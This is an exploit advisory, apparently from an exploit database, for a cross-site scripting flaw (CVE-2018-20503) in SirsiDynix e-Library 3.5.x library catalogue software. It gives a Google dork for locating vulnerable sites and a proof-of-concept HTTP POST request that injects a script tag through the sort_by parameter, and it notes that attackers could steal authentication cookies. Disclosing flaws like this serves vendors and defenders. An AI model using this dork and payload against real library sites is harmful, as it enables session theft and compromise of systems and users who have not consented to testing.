SirsiDynix e-Library 3.5.x - Cross-Site Scripting

# Exploit Title: SirsiDynix e-Library <= 3.5.x - Cross-Site Scripting
# CVE: CVE-2018-20503
# Date: 2019-24-01
# Google Dork: inurl:/x/x/0/49
# Exploit Author: Özkan Mustafa Akkuş (AkkuS)
# Contact: https://pentest.com.tr
# Vendor Homepage: http://www.sirsidynix.com
# Version: 3.5.x
# Category: Webapps
# Tested on: Firefox/52 and Chrome/69
# Software Description : As SirsiDynix Symphony’s core discovery portal,
e-Library gives
# Symphony users the basic tools they need to find the resources they seek.
# e-Library offers users speedy and relevant search results as well as a
user-friendly interface to make discovery simple
# Description : Exploiting these issues could allow an attacker to steal
cookie-based authentication credentials,
# compromise the application, access or modify data, or exploit latent
vulnerabilities in the underlying database.
# SirsiDynix e-Library 3.5.x is vulnerable; prior versions may also be
affected.
# ==================================================================

# PoC:

# POST Request (sort_by):

POST /uhtbin/cgisirsi/?ps=0Sk8zSpD0f/MAIN/33660028/123 HTTP/1.1
Host: target
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer:
http://target/uhtbin/cgisirsi/?ps=mmRoXTc0L3/MAIN/33660028/38/1/X/BLASTOFF
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 146

searchdata1=test&srchfield1=AU%5EAUTHOR%5EAUTHORS%5EAuthor+Processing%5EYazar&library=VLK&srch_history=--%C3%96nceki+soruyu+se%C3%A7--&sort_by=ANYhadvi%22%3e%3cscript%3ealert(1)%3c%2fscript%3eox0ix

==================================================================